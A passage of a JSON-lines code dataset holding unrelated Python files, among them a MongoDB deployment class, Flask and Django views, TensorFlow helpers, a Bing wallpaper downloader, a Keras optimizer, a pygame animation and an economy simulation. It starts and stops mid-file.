Bank.objects.all()\n\t\tresource_name = 'bank'\n\t\tauthorization = BankAuthorization()\n\t\texcludes = ['mod']\n\t\tlist_allowed_methods = ['get', 'post', 'put', 'patch']\n\t\tfiltering ={\n 'name' : {'iexact', 'startswith'},\n 'branch' : {'iexact', 'startswith'}\n }\n\n","sub_path":"smart_queue/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"306821923","text":"import os\n\nfrom fabric.api import runs_once\n\nfrom burlap.constants import *\nfrom burlap.db import DatabaseSatchel\nfrom burlap.decorators import task, runs_once\n\nclass MongoDBSatchel(DatabaseSatchel):\n \"\"\"\n Represents a MongoDB server.\n\n Installation follows the instructions outlined in the tutorial:\n\n https://docs.mongodb.com/manual/tutorial/install-mongodb-on-ubuntu/\n \"\"\"\n\n name = 'mongodb'\n\n def set_defaults(self):\n super(MongoDBSatchel, self).set_defaults()\n\n self.env.dump_command = 'mongodump -h {db_host}:{db_port} -v --username={db_user} --password={db_password} --gzip --archive={dump_fn}'\n self.env.dump_fn_template = '{dump_dest_dir}/db_mongodb_{SITE}_{ROLE}_{db_name}_$(date +%Y%m%d).archive'\n\n #self.env.load_command = 'gunzip < {remote_dump_fn} | pg_restore --jobs=8 -U {db_root_username} --format=c --create --dbname={db_name}'\n #self.env.load_command = 'gunzip < {remote_dump_fn} | pg_restore -U {db_root_username} --format=c --create --dbname={db_name}'\n self.env.load_command = 'mongorestore --drop --gzip --noIndexRestore --archive={remote_dump_fn}'\n #https://docs.mongodb.com/v3.0/tutorial/build-indexes-in-the-background/\n\n self.env.db_port = 9001\n\n self.env.watchdog_enabled = False\n self.env.watchdog_cron_schedule = None\n\n self.define_cron_job(\n name='mongomonitor',\n template='etc_crond_mongomonitor',\n # script_path='/etc/cron.d/mongomonitor',\n command='/usr/local/bin/mongomonitor',\n schedule=self.env.watchdog_cron_schedule\n )\n\n @task\n def install_watchdog(self):\n if not self.env.watchdog_enabled:\n return\n assert self.env.watchdog_cron_schedule, 'No schedule defined for the watchdog!'\n self.install_script(\n local_path='mongodb/mongomonitor',\n remote_path='/usr/local/bin/mongomonitor',\n )\n self.install_cron_job(name='mongomonitor')\n\n @task\n def configure(self, *args, **kwargs):\n super(MongoDBSatchel, self).configure(*args, **kwargs)\n self.install_watchdog()\n\n @property\n def packager_system_packages(self):\n return {\n UBUNTU: ['mongodb-org'],\n }\n\n @property\n def packager_repositories(self):\n ver = self.os_version\n if ver.type == LINUX:\n if ver.distro == UBUNTU:\n if ver.release == '14.04':\n d = {\n APT_SOURCE: [\n (\n 'deb [ arch=amd64 ] http://repo.mongodb.org/apt/ubuntu trusty/mongodb-org/3.4 multiverse',\n '/etc/apt/sources.list.d/mongodb-org-3.4.list',\n ),\n ],\n APT_KEY: [\n ('hkp://keyserver.ubuntu.com:80', '0C49F3730359A14518585931BC711F9BA15703C6'),\n ],\n }\n return d\n elif ver.release == '16.04':\n # https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-mongodb-on-ubuntu-16-04\n # https://docs.mongodb.com/manual/tutorial/install-mongodb-on-ubuntu/\n d = {\n APT_SOURCE: [\n (\n 'deb [ arch=amd64,arm64 ] http://repo.mongodb.org/apt/ubuntu xenial/mongodb-org/3.4 multiverse',\n '/etc/apt/sources.list.d/mongodb-org-3.4.list',\n ),\n ],\n APT_KEY: [\n ('hkp://keyserver.ubuntu.com:80', '0C49F3730359A14518585931BC711F9BA15703C6'),\n ],\n }\n return d\n else:\n raise NotImplementedError\n else:\n raise NotImplementedError\n else:\n raise NotImplementedError\n\n @task\n @runs_once\n def load(self, dump_fn='', prep_only=0, force_upload=0, from_local=0, name=None, site=None, dest_dir=None):\n \"\"\"\n Restores a database snapshot onto the target database server.\n\n If prep_only=1, commands for preparing the load will be generated,\n but not the command to finally load the snapshot.\n \"\"\"\n\n r = self.database_renderer(name=name, site=site)\n\n # Render the snapshot filename.\n r.env.dump_fn = self.get_default_db_fn(fn_template=dump_fn, dest_dir=dest_dir)\n\n from_local = int(from_local)\n\n prep_only = int(prep_only)\n\n missing_local_dump_error = r.format('Database dump file {dump_fn} does not exist.')\n\n # Copy snapshot file to target.\n if self.is_local:\n r.env.remote_dump_fn = dump_fn\n else:\n r.env.remote_dump_fn = '/tmp/' + os.path.split(r.env.dump_fn)[-1]\n\n if not prep_only and not self.is_local:\n if not self.dryrun:\n assert os.path.isfile(r.env.dump_fn), missing_local_dump_error\n r.pc('Uploading MongoDB database snapshot...')\n# r.put(\n# local_path=r.env.dump_fn,\n# remote_path=r.env.remote_dump_fn)\n r.local('rsync -rvz --progress --no-p --no-g '\n '--rsh \"ssh -o StrictHostKeyChecking=no -i {key_filename}\" '\n '{dump_fn} {user}@{host_string}:{remote_dump_fn}')\n\n if self.is_local and not prep_only and not self.dryrun:\n assert os.path.isfile(r.env.dump_fn), missing_local_dump_error\n\n r.run_or_local(r.env.load_command)\n\n @task\n def shell(self, name='default', user=None, password=None, root=0, verbose=1, write_password=1, no_db=0, no_pw=0):\n \"\"\"\n Opens a SQL shell to the given database, assuming the configured database\n and user supports this feature.\n \"\"\"\n raise NotImplementedError\n\n @task\n def create(self, **kwargs):\n \"\"\"\n Creates the target database.\n \"\"\"\n raise NotImplementedError\n\n @task\n def drop_views(self, name=None, site=None):\n \"\"\"\n Drops all views.\n \"\"\"\n raise NotImplementedError\n\n @task\n def drop_database(self, name):\n raise NotImplementedError\n\n @task\n def exists(self, name='default', site=None):\n \"\"\"\n Returns true if a database with the given name exists. False otherwise.\n \"\"\"\n raise NotImplementedError\n\nmongodb = MongoDBSatchel()\n","sub_path":"burlap/mongodb.py","file_name":"mongodb.py","file_ext":"py","file_size_in_byte":6608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"219100353","text":"import os\nimport secrets\nfrom flask import render_template, url_for, flash, redirect, request\nfrom projetc6 import app, db\nfrom projetc6.forms import ClasseForm, EleveForm\nfrom projetc6.models import Eleve, Classe\n# from flask_login import login_user, current_user, logout_user, login_required\n\n\n\n# beginning part classes routes\n@app.route(\"/\")\n@app.route(\"/allclasses\")\ndef allclasses():\n\tpage=request.args.get('page',1,type=int)\n\tclasses=Classe.query.order_by(Classe.nomcl.asc()).paginate(page=page,per_page=3)\n\t# classes=Classe.query.all()\n\treturn render_template('allclasses.html',classes=classes)\n\n@app.route(\"/ajoutcl\",methods=['GET', 'POST'])\ndef ajoutcl():\n\tform=ClasseForm()\n\tif form.validate_on_submit():\n\t\tcl=Classe(nomcl=form.nomcl.data)\n\t\tdb.session.add(cl)\n\t\tdb.session.commit()\n\t\tflash('Classe ajouter avec success!', 'success')\n\t\treturn redirect(url_for('allclasses'))\n\treturn render_template('nouveau_classe.html', title='Ajouter Classe',\n\t\tform=form, legend='Nouvelle classe')\n\n@app.route('/editclasse/', methods=['GET', 'POST'])\ndef update_classe(cl_id):\n\tclasse = Classe.query.get_or_404(cl_id)\n\tform=ClasseForm()\t\n\tif request.method=='POST':\t\t\n\t\tif form.validate_on_submit():\n\t\t\tclasse.nomcl = form.nomcl.data\n\t\t\t# classe.serie = form.serie.data\n\t\t\tdb.session.commit()\n\t\t\tflash('Classe modifier avec Succes!', 'success')\n\t\treturn redirect(url_for('allclasses'))\n\telse:\n\t\tform.nomcl.data = classe.nomcl\n\t\t# form.serie.data = classe.serie\n\t\treturn render_template('Editclasse.html', title='Modifier Classe', \n\t\t\tclasse=classe, form=form, legend='Modifier Classe')\t\n\n\n@app.route(\"/classe//delete\",methods=['POST','GET'])\ndef delete_classe(cl_id):\n\tclasse = Classe.query.get_or_404(cl_id)\n\tdb.session.delete(classe)\n\tdb.session.commit()\n\tflash('Classe supprimer avec Succes!', 'success')\n\treturn redirect(url_for('allclasses'))\n# end part classes routes\n\n# beginning part eleves routes\n@app.route('/ajout_elv',methods=['GET', 'POST'])\ndef ajout_elv():\n\tform=EleveForm()\n\tform1=ClasseForm()\n\tallclasses = Classe.query.all()\t\t\n\tif form.validate_on_submit():\n\t\tselect=request.form.get('cl_select')\n\t\tselect_el=request.form.get('el_select')\n\t\t# return(str(select))\n\t\tcl=Classe.query.filter_by(nomcl=str(select)).first()\t\n\t\telv=Eleve(nom=form.nom.data,prenom=form.prenom.data,datenaiss=form.datenaiss.data,\n\t\t\tadresse=form.adresse.data,telphone=form.telphone.data,id_classe=cl.id)\n\t\tdb.session.add(elv)\n\t\tdb.session.commit()\n\t\tflash('Eleve ajouter avec success!', 'success')\n\t\treturn redirect(url_for('all_eleves'))\n\treturn render_template('nouveau_eleve.html', title='Ajouter Eleve', \n\t\tform=form, legend='Inscription',form1=form1, allclasses=allclasses)\n\n# all_eleves\n@app.route(\"/all_eleves\")\ndef all_eleves():\n\tpage=request.args.get('page',1,type=int)\n\televes=Eleve.query.order_by(Eleve.id_classe.desc()).paginate(page=page,per_page=3)\n\t# eleves=Eleve.query.all()\n\treturn render_template('all_eleves.html',eleves=eleves)\n# end part classes routes","sub_path":"projetc6/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"455725489","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport gzip\nimport os\nimport re\nimport sys\nimport tarfile\nimport math\n\nfrom six.moves import urllib\nimport tensorflow as tf\nTOWER_NAME = 'tower'\ndef conv2d(input, name, kernel_width, num_filters, transfer=tf.nn.elu, padding='SAME', decay_rate=0):\n c = input.get_shape()[3].value\n n = c * (kernel_width ** 2)\n with tf.variable_scope(name) as scope:\n kernel = _variable_with_weight_decay('weights', shape=[kernel_width, kernel_width,\n c, num_filters],\n stddev=math.sqrt(2.0 / n), wd=decay_rate)\n conv = tf.nn.conv2d(input, kernel, [1, 1, 1, 1], padding=padding)\n biases = _variable_on_cpu('biases', [num_filters], tf.constant_initializer(0.1))\n bias = tf.nn.bias_add(conv, biases)\n x = transfer(bias, name=scope.name)\n _activation_summary(x)\n return x\n\ndef _variable_on_cpu(name, shape, initializer):\n \"\"\"Helper to create a Variable stored on CPU memory.\n \n Args:\n name: name of the variable\n shape: list of ints\n initializer: initializer for Variable\n \n Returns:\n Variable Tensor\n \"\"\"\n with tf.device('/cpu:0'):\n var = tf.get_variable(name, shape, initializer=initializer)\n return var\n \n \ndef _variable_with_weight_decay(name, shape, stddev, wd):\n \"\"\"Helper to create an initialized Variable with weight decay.\n \n Note that the Variable is initialized with a truncated normal distribution.\n A weight decay is added only if one is specified.\n \n Args:\n name: name of the variable\n shape: list of ints\n stddev: standard deviation of a truncated Gaussian\n wd: add L2Loss weight decay multiplied by this float. If None, weight\n decay is not added for this Variable.\n \n Returns:\n Variable Tensor\n \"\"\"\n var = _variable_on_cpu(name, shape,\n tf.truncated_normal_initializer(stddev=stddev))\n if wd:\n weight_decay = tf.mul(tf.nn.l2_loss(var), wd, name='weight_loss')\n tf.add_to_collection('losses', weight_decay)\n return var\n\ndef residual(input, name, num_conv):\n x = input\n c = input.get_shape()[3].value\n with tf.variable_scope(name) as scope:\n for i in range(num_conv):\n x = conv2d(x, \"conv%d\" % (i), 3, c)\n x = batch_norm_conv(x, \"bn%d\" % (i))\n if i != num_conv - 1:\n x = tf.nn.elu(x)\n return tf.nn.elu(x + input)\n \ndef batch_norm_conv(input, name):\n with tf.variable_scope(name) as scope:\n mean, variance = tf.nn.moments(input, [0, 1, 2])\n return tf.nn.batch_normalization(input, mean, variance, None, None, 1e-6)\n \ndef batch_norm_fc(input, name):\n with tf.variable_scope(name) as scope:\n mean, variance = tf.nn.moments(input, [0])\n return tf.nn.batch_normalization(input, mean, variance, None, None, 1e-6)\n\n\ndef _activation_summary(x):\n \"\"\"Helper to create summaries for activations.\n Creates a summary that provides a histogram of activations.\n Creates a summary that measure the sparsity of activations.\n Args:\n x: Tensor\n Returns:\n nothing\n \"\"\"\n # Remove 'tower_[0-9]/' from the name in case this is a multi-GPU training\n # session. This helps the clarity of presentation on tensorboard.\n tensor_name = re.sub('%s_[0-9]*/' % TOWER_NAME, '', x.op.name)\n tf.histogram_summary(tensor_name + '/activations', x)\n tf.scalar_summary(tensor_name + '/sparsity', tf.nn.zero_fraction(x))\n\ndef pool(input, name, kernel_width):\n with tf.variable_scope(name) as scope:\n kernel = [1, kernel_width, kernel_width, 1]\n return tf.nn.max_pool(input, kernel, kernel, 'SAME', name=scope.name)\n","sub_path":"mnist/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"375913492","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import unicode_literals\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views import generic\nfrom django.db.models import Q\nfrom django.template import RequestContext\nimport json\nfrom .models import Movies\n\n\ndef index(request):\n return render(request, 'rflix/index.html')\n\ndef about(request):\n return render(request, 'rflix/about.html')\n\ndef search(request):\n query = request.GET.get('q')\n try:\n query = str.rstrip(query)\n except ValueError:\n query = None\n results = None\n if query:\n results = Movies.objects.filter((Q(mtitle__icontains=query)) | (Q(director__icontains=query)) | (Q(actor1__icontains=query)) | (Q(actor2__icontains=query)) | (Q(actor3__icontains=query)) | (Q(actor4__icontains=query)) | (Q(actor5__icontains=query)) | (Q(formats__icontains=query)) | (Q(year__icontains=query))).order_by('mtitle')\n context = {\n \"results\": results,\n } \n return render(request, 'rflix/results.html', context)\n\ndef gallery(request, mgenre):\n if (mgenre == 'All'):\n moviegrab = Movies.objects.order_by('mtitle')\n elif (mgenre =='Sci-Fi'):\n ngenre = 'Science Fiction'\n moviegrab = Movies.objects.filter(Q(genre=ngenre) | Q(subgenres__contains=ngenre)).order_by('mtitle')\n else:\n moviegrab = Movies.objects.filter(Q(genre=mgenre) | Q(subgenres__contains=mgenre)).order_by('mtitle')\n context = {\n 'moviegrab': moviegrab,\n }\n return render(request, 'rflix/gallery.html', context)\n\ndef summary(request, movieid):\n moviegrab = Movies.objects.filter(mid=movieid)\n cast = []\n badcast = [] # This doesn't appear to be necessary\n for actor in Movies.objects.filter(mid=movieid):\n if actor.actor1 is None: \n badcast.append(actor.actor1) # can't we just append actor if not 'None'? \n else:\n cast.append(actor.actor1)\n if actor.actor2 is None: \n badcast.append(actor.actor2)\n else:\n cast.append(actor.actor2)\n if actor.actor3 is None: \n badcast.append(actor.actor3)\n else:\n cast.append(actor.actor3)\n if actor.actor4 is None: \n badcast.append(actor.actor4)\n else:\n cast.append(actor.actor4)\n if actor.actor5 is None: \n badcast.append(actor.actor5)\n else:\n cast.append(actor.actor5)\n context = {\n 'moviegrab': moviegrab,\n 'cast': cast,\n }\n return render(request, 'rflix/summary.html', context)\n\n# Create your views here.\n","sub_path":"rflix/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"425339111","text":"\"\"\"Will be executed by service-base -> django-migrate.sh\"\"\"\nimport os\nimport sys\nimport django\nfrom datetime import timedelta\nfrom django.utils import timezone\n\ndef create_default_users():\n from accounts.models import RadarUser\n\n ur = RadarUser.objects.create(\n username=\"root\",\n email=\"root@localhost.invalid\",\n first_name=\"Ruth\",\n last_name=\"Robinson\",\n is_superuser=True,\n is_staff=True,\n )\n ur.set_password(\"root\")\n ur.save()\n # ur.userprofile.student_id = \"\"\n # ur.userprofile.save()\n\n # ut = RadarUser.objects.create(\n # username=\"teacher\",\n # email=\"teacher@localhost.invalid\",\n # first_name=\"Terry\",\n # last_name=\"Teacher\",\n # )\n # ut.set_password(\"teacher\")\n # ut.save()\n # ut.userprofile.student_id = \"\"\n # ut.userprofile.save()\n\n # ua = RadarUser.objects.create(\n # username=\"assistant\",\n # email=\"assistant@localhost.invalid\",\n # first_name=\"Andy\",\n # last_name=\"Assistant\",\n # )\n # ua.set_password(\"assistant\")\n # ua.save()\n # ua.userprofile.student_id = \"133701\"\n # ua.userprofile.save()\n\n # us = RadarUser.objects.create(\n # username=\"student\",\n # email=\"student@localhost.invalid\",\n # first_name=\"Stacy\",\n # last_name=\"Student\",\n # )\n # us.set_password(\"student\")\n # us.save()\n # us.userprofile.student_id = \"123456\"\n # us.userprofile.save()\n\n return {\n # 'root': ur.userprofile,\n # 'teacher': ut,\n # 'assistant': ua.userprofile,\n # 'student': us.userprofile\n }\n\ndef create_default_courses(users):\n from data.models import Course, URLKeyField\n from aplus_client.django.models import ApiNamespace as Site\n course_api = 'https://minus.cs.aalto.fi//api/v2/courses/194/'\n context_id = 'minus.cs.aalto.fi/laines5-test/i1/'\n\n site = Site.get_by_url(course_api)\n # user = users['teacher']\n # user.add_api_token(api_token, site) # will not add duplicates\n course_key = URLKeyField.safe_version(context_id)\n\n # apiclient = user.get_api_client(site)\n\n # course = Course.objects.using_namespace(site).create(\n course = Course.objects.create(\n name=\"Def. Course\",\n # key=\"def000\",\n #\n )\n # course.teachers.set([users['teacher']])\n\n # today = timezone.now()\n # instance = CourseInstance.objects.create(\n # course=course,\n # instance_name=\"Current\",\n # url=\"current\",\n # starting_time=today,\n # ending_time=today + timedelta(days=365),\n # configure_url=\"http://grader:8080/default/aplus-json\",\n # )\n # instance.assistants.set([users['assistant']])\n\n # Enrollment.objects.get_or_create(course_instance=instance, user_profile=users['assistant'])\n # Enrollment.objects.get_or_create(course_instance=instance, user_profile=users['student'])\n\n return {'default': course}\n\ndef create_default_services():\n from external_services.models import LTIService\n\n services = {}\n\n services['rubyric+'] = LTIService.objects.create(\n url=\"http://localhost:8090/\",\n menu_label=\"Rubyric+\",\n menu_icon_class=\"save-file\",\n consumer_key=\"foo\",\n consumer_secret=\"bar\",\n )\n\n services['rubyric'] = LTIService.objects.create(\n url=\"http://localhost:8091/\",\n menu_label=\"Rubyric\",\n menu_icon_class=\"save-file\",\n consumer_key=\"foo\",\n consumer_secret=\"bar\",\n )\n\n return services\n\ndef add_lti_key():\n from django.core.exceptions import ValidationError\n from django_lti_login.models import LTIClient\n lticlient = LTIClient(key='lti-key')\n lticlient.secret = 'lti-secret'\n lticlient.description = 'aplus'\n\n lticlient.full_clean()\n\n lticlient.save()\n\n\nif __name__ == '__main__':\n os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"radar.settings\")\n sys.path.insert(0, '')\n django.setup()\n\n users = create_default_users()\n add_lti_key()\n # courses = create_default_courses(users)\n # services = create_default_services()\n","sub_path":"docker/rootfs/srv/db-radar-bootstrap.py","file_name":"db-radar-bootstrap.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"388050536","text":"import urllib.request\nimport re\nimport sys\nimport os\nimport time\nimport json\nimport win32api, win32con, win32gui\nfrom PIL import Image\nimport random\n\n# 根目录位置\nbase_path = \"D:\\\\Wallpaper\\\\\"\n\n# 设置桌面时需要用到bmp位图\nbmp_file = \"\"\n\n\ndef get_bing_backphoto():\n \"\"\"get and save biying photo\n\n\n 必应图片信息url :/HPImageArchive.aspx?format=js&idx=0&n=1&nc=1361089515117&FORM=HYLH1\n 通过修改 idx 参数值随机生成图片链接\n \"\"\"\n if not os.path.exists(base_path):\n os.mkdir(base_path)\n\n # 加入循环,防止链接失效\n for i in range(0,10):\n num = random.randint(1,10)\n url = 'http://cn.bing.com/HPImageArchive.aspx?format=js&idx='+str(num)+'&n=1&nc=1361089515117&FORM=HYLH1'\n resp = urllib.request.urlopen(url)\n html = resp.read()\n resp.close() # 防止多个连接导致服务器识别到爬虫\n\n # 链接失效,重新循环爬取图片信息\n if html == 'null':\n print( 'open & read bing error!')\n continue\n\n # 返回的图片信息是 json 格式\n photo_info = json.loads(html)\n photo_url = photo_info['images'][0]['url'].replace('/az/','http://cn.bing.com/az/')\n photo_marked = photo_info['images'][0]['copyright']\n \n\n # 使用链接来获取名字\n photo_name = photo_url[photo_url.rindex(\"/\")+1:photo_url.index(\"_\")]\n bmp_file = \"{0}.bmp\".format(photo_name)\n photo_name = \"{0}.jpg\".format(photo_name)\n\n jpg_name = base_path+photo_name\n bmp_name = base_path+bmp_file\n\n print('-'*20)\n print(\"\\n\")\n print(\"---- photo downloading ----\")\n print(\"---- photo_address is {0}\".format(photo_url))\n print(\"---- photo_name is {0}\".format(photo_name))\n # print(photo_marked)\n # print(jpg_name)\n\n if os.path.exists(jpg_name) == False:\n urllib.request.urlretrieve(photo_url, jpg_name)\n print(\"---- Photo download success ----\\n\")\n else:\n print(\"---- file is existing, skip download ----\\n\")\n \n\n img = Image.open(jpg_name)\n # print(img)\n img.save(bmp_name)\n\n print('-'*20)\n\n set_wallpaper(bmp_name)\n break\n\n \n\n # else:\n # html = html.decode('utf-8')\n # html = html.replace('/az/','http://cn.bing.com/az/')\n # reg = re.compile('\"url\":\"(.*?)\",\"urlbase\"',re.S)\n # text = re.findall(reg,html)\n\n # for imgurl in text:\n # right = imgurl.rindex('/')\n # print(imgurl)\n # name = imgurl.replace(imgurl[:right+1],'')\n # savepath = 'pictures/'+ name\n # urllib.request.urlretrieve(imgurl, savepath)\n # print (name + ' save success!')\n\n time.sleep(5)\n\ndef set_wallpaper(bmpFile):\n print(\"\\n\\n\")\n print(\"*\"*20)\n print('\\n**** setting wallpaper ****\\n')\n key = win32api.RegOpenKeyEx(win32con.HKEY_CURRENT_USER,\"Control Panel\\\\Desktop\",0,win32con.KEY_SET_VALUE)\n win32api.RegSetValueEx(key, \"WallpaperStyle\", 0, win32con.REG_SZ, \"2\")\n #2拉伸适应桌面,0桌面居中\n win32api.RegSetValueEx(key, \"TileWallpaper\", 0, win32con.REG_SZ, \"0\")\n win32gui.SystemParametersInfo(win32con.SPI_SETDESKWALLPAPER, bmpFile, 1+2)\n print('**** set wallpaper success ****\\n')\n print(\"*\"*20)\n\nget_bing_backphoto()","sub_path":"必应壁纸桌面/biying.py","file_name":"biying.py","file_ext":"py","file_size_in_byte":3437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"460437701","text":"from keras import optimizers\nfrom keras.legacy import interfaces\nfrom keras import backend as K\n\nclass RAME(optimizers.Optimizer):\n \"\"\"Rapidly adapting moment estimation (RAME)\n The code for RAME is inherited from the original implementation of SGD in Keras \n\n # Arguments\n lr: float >= 0. Learning rate.\n momentum: float > 0. \n decay: float >= 0. Learning rate decay over each update.\n \"\"\"\n\n def __init__(self, lr=0.01, momentum=0.9, quantum = 0.25, decay=0., **kwargs):\n super(RAME, self).__init__(**kwargs)\n with K.name_scope(self.__class__.__name__):\n self.iterations = K.variable(0, dtype='int64', name='iterations')\n self.lr = K.variable(lr, name='lr')\n self.momentum = K.variable(momentum, name='momentum')\n self.quantum = K.variable(quantum, name='quantum')\n self.decay = K.variable(decay, name='decay')\n self.initial_decay = decay\n\n @interfaces.legacy_get_updates_support\n def get_updates(self, loss, params):\n grads = self.get_gradients(loss, params)\n self.updates = [K.update_add(self.iterations, 1)]\n\n lr = self.lr\n if self.initial_decay > 0:\n lr = lr * (1. / (1. + self.decay * K.cast(self.iterations,\n K.dtype(self.decay))))\n # momentum\n shapes = [K.int_shape(p) for p in params]\n moments = [K.zeros(shape) for shape in shapes]\n self.weights = [self.iterations] + moments\n for p, g, m in zip(params, grads, moments):\n v = self.momentum * m + lr * g # velocity\n self.updates.append(K.update(m, v))\n\n new_p = p - K.sign(v)*K.pow(K.abs(v), 1-self.quantum) \n\n # Apply constraints.\n if getattr(p, 'constraint', None) is not None:\n new_p = p.constraint(new_p)\n\n self.updates.append(K.update(p, new_p))\n return self.updates\n\n def get_config(self):\n config = {'lr': float(K.get_value(self.lr)),\n 'momentum': float(K.get_value(self.momentum)),\n 'quantum': float(K.get_value(self.quantum)),\n 'decay': float(K.get_value(self.decay))}\n base_config = super(RAME, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n","sub_path":"RAME.py","file_name":"RAME.py","file_ext":"py","file_size_in_byte":2360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"558188137","text":"\"\"\"\n Animating multiple objects using a list.\n Sample Python/Pygame Programs\n Simpson College Computer Science\n http://programarcadegames.com/\n http://simpson.edu/computer-science/\n\n Explanation video: http://youtu.be/Gkhz3FuhGoI\n\"\"\"\n\n# Import a library of functions called 'pygame'\nimport pygame\nimport random\nimport tkinter\nimport tkinter.ttk as _ttk\n\nBLACK = [0, 0, 0]\nGREEN = [0, 255, 0]\nWHITE = [255, 255, 255]\n\nclass TextPrint(object):\n \"\"\"\n This is a simple class that will help us print to the screen\n It has nothing to do with the joysticks, just outputting the\n information.\n \"\"\"\n def __init__(self):\n \"\"\" Constructor \"\"\"\n self.reset()\n self.x_pos = 10\n self.y_pos = 10\n self.font = pygame.font.Font(None, 20)\n\n def print(self, my_screen, text_string):\n \"\"\" Draw text onto the screen. \"\"\"\n text_bitmap = self.font.render(text_string, True, GREEN)\n my_screen.blit(text_bitmap, [self.x_pos, self.y_pos])\n self.y_pos += self.line_height\n\n def reset(self):\n \"\"\" Reset text to the top of the screen. \"\"\"\n self.x_pos = 10\n self.y_pos = 10\n self.line_height = 15\n\n def indent(self):\n \"\"\" Indent the next line of text \"\"\"\n self.x_pos += 10\n\n def unindent(self):\n \"\"\" Unindent the next line of text \"\"\"\n self.x_pos -= 10\n\n# color randomize\ndef randomcolor():\n\n r_ch = random.randrange(0,255)\n g_ch = random.randrange(0,255)\n b_ch = random.randrange(0,255)\n rndcolor = [r_ch, g_ch, b_ch]\n\n return rndcolor\n\n # Initialize the game engine\npygame.init()\n\ndef main_cgi(self):\n\n speed = 20\n\n # Set the height and width of the screen\n SIZE = [800, 400]\n\n screen = pygame.display.set_mode(SIZE)\n pygame.display.set_caption(\"Color Animation\")\n\n # Create 2 empty arrays\n snow_list = []\n shadow_list= []\n\n clock = pygame.time.Clock()\n\n textPrint = TextPrint()\n textPrint.reset()\n\n # Loop until the user clicks the close button.\n done = False\n while not done:\n\n for event in pygame.event.get(): # User did something\n if event.type == pygame.QUIT: # If user clicked close\n done = True # Flag that we are done so we exit this loop\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_KP_PLUS:\n speed = speed + 1\n elif event.key == pygame.K_KP_MINUS:\n speed = max(speed - 1,1)\n\n # Set the screen background\n screen.fill(BLACK)\n textPrint.reset()\n textPrint.print(screen, \"Speed: \"+str(speed))\n\n # Loop 50 times and add a snow flake in a random x,y position\n for i in range(1):\n x = random.randrange(0, 1000)\n y = random.randrange(50, 400)\n c = randomcolor()\n snow_list.append([x, y, c])\n\n # Process each snow flake in the list\n for i in range(len(snow_list)):\n\n # Draw the snow flake\n\n point_x = snow_list[i][0]\n point_y = snow_list[i][1]\n color = snow_list[i][2]\n pygame.draw.circle(screen, color, [point_x, point_y], 1)\n for shift in range(255):\n pygame.draw.circle(screen, [max(color[0]-shift,0),max(color[1]-shift,0),max(color[2]-shift,0)], [point_x-shift,point_y], 1)\n\n\n # Move the snow flake down one pixel\n snow_list[i][0] += random.randrange(1, 1000)\n\n # If the snow flake has moved off the right of the screen\n if snow_list[i][0] > 850:\n # Reset it just above the top\n x = random.randrange(-50, -10)\n snow_list[i][0] = x\n # Give it a new y position\n y = random.randrange(50, 400)\n snow_list[i][1] = y\n\n # Go ahead and update the screen with what we've drawn.\n pygame.display.flip()\n clock.tick(speed)\n\n # Be IDLE friendly. If you forget this line, the program will 'hang'\n # on exit.\n pygame.quit()\n\n# tkinter test\nroot = tkinter.Tk()\nbtn = tkinter.Button(root, text=\"Animate it!\", width=30, height=5, bg=\"white\", fg=\"black\")\nbtn.bind(\"\", main_cgi)\nbtn.pack()\nroot.mainloop()\n\n","sub_path":"OldTasks/TrashAlgs.py","file_name":"TrashAlgs.py","file_ext":"py","file_size_in_byte":4259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"388898893","text":"\"\"\"\n This file contains the environment for the firm (player) to live in, for example, the economy.\n\"\"\"\nimport numpy as np\nfrom math import sqrt\n\n\nclass Economy:\n gdp = .03\n cpi = .5\n pmi = .5\n ftse100 = 6800\n\n def __init__(self, g=.05, c=.5, p=.5, f=6800, growth=1.1, v=.05):\n self.gdp = g\n self.cpi = c\n self.pmi = p\n self.ftse100 = f\n self.mean_growth = growth\n self.var = v\n\n def update(self, mean_growth=None, v=None, ind=None):\n # update economy with a growth rate and a certain variance\n if mean_growth is not None:\n self.mean_growth = mean_growth\n if v is not None:\n self.var = v\n growth = np.random.normal(self.mean_growth, sqrt(self.var))\n\n if ind is None:\n self.gdp *= growth\n self.cpi *= growth\n self.pmi *= growth\n self.ftse100 *= growth\n elif ind == 'gdp':\n self.gdp = self.gdp * growth\n elif ind == 'cpi':\n self.cpi = self.cpi * growth\n elif ind == 'pmi':\n self.pmi = self.pmi * growth\n elif ind == 'ftse100':\n self.ftse100 = self.ftse100 * growth\n\n","sub_path":"WarGamePython/src/Environment.py","file_name":"Environment.py","file_ext":"py","file_size_in_byte":1200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"21781650","text":"import pandas as pd\nimport scipy as sp\nimport numpy as np\n\n\n# import pyximport; pyximport.install(language_level=3)\n# import Cython_Indicators as ci\n\n\ndef _update_dataframe(df, new_df, name):\n \"\"\"\n Helper function to update our Dataframe\n\n Parameters:\n -----\n df: pandas.Dataframe\n contains our stock market data\n new_df: pandas.series\n contains our new data for input in the df Dataframe\n name:\n the name of the data we are going to be importing to our df Dataframe\n 